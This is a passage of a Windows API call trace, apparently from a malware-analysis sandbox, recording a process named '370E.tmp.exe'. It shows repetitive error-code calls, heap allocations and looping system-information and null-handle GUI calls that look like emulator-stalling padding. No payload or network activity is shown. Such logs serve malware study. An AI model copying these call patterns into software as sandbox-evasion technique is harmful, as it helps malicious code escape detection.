3\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x30\x7b\x5e\xa4\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0026.837] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x47c8f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe")) returned 0x32 [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.837] GetLastError () returned 0x0 [0026.837] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.838] GetLastError () returned 0x0 [0026.838] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.839] SetLastError (dwErrCode=0x0) [0026.839] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x3b) returned 0x270788 [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.840] GetLastError () returned 0x0 [0026.840] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.841] SetLastError (dwErrCode=0x0) [0026.841] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.842] SetLastError (dwErrCode=0x0) [0026.842] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] GetLastError () returned 0x0 [0026.843] SetLastError (dwErrCode=0x0) [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x98) returned 0x273aa0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f) returned 0x2715b8 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x273b40 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x37) returned 0x273b80 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x273bc0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x31) returned 0x273c08 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x2707d0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x273c48 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x14) returned 0x273c78 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd) returned 0x2709a8 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x25) returned 0x273c98 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x39) returned 0x273cc8 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x273d10 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x273d30 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe) returned 0x2709c0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x69) returned 0x273d50 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x273dc8 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x2715e0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1d) returned 0x271608 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x273e10 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x273e60 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x273e80 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x271630 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x273ea0 [0026.843] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x273ed0 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x271658 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x41) returned 0x273f08 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x273f58 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xf) returned 0x2709d8 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x16) returned 0x273f78 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x273f98 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x272830 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x15) returned 0x272868 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x271680 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x272888 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x2728c0 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x2728e0 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x46) returned 0x272900 [0026.844] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x273308 | out: hHeap=0x260000) returned 1 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x80) returned 0x272950 [0026.844] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0026.844] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x2729d8 [0026.844] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c304) returned 0x0 [0026.845] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.845] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.845] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.845] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.846] SetLastError (dwErrCode=0x0) [0026.846] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.847] SetLastError (dwErrCode=0x0) [0026.847] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.848] SetLastError (dwErrCode=0x0) [0026.848] GetLastError () returned 0x0 [0026.849] SetLastError (dwErrCode=0x0) [0026.849] GetLastError () returned 0x0 [0026.849] SetLastError (dwErrCode=0x0) [0026.849] GetTickCount () returned 0x17fb9 [0026.849] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.849] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.849] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.849] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.849] GetTickCount () returned 0x17fb9 [0026.849] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.849] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.849] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.850] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.850] GetTickCount () returned 0x17fb9 [0026.850] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.850] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.850] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.850] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.850] GetTickCount () returned 0x17fb9 [0026.850] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.850] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.850] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.850] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.850] GetTickCount () returned 0x17fb9 [0026.850] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.850] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.850] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.850] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.850] GetTickCount () returned 0x17fb9 [0026.850] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.850] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.850] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.850] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.850] GetTickCount () returned 0x17fb9 [0026.850] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.850] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.850] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.851] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.851] GetTickCount () returned 0x17fb9 [0026.851] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.851] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.851] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.851] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.851] GetTickCount () returned 0x17fb9 [0026.851] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.851] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.851] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.851] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.851] GetTickCount () returned 0x17fb9 [0026.851] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.851] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.851] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.851] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.851] GetTickCount () returned 0x17fb9 [0026.851] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.851] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.851] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.851] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.851] GetTickCount () returned 0x17fb9 [0026.851] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.851] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.851] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.852] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.852] GetTickCount () returned 0x17fb9 [0026.852] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.852] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.852] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, 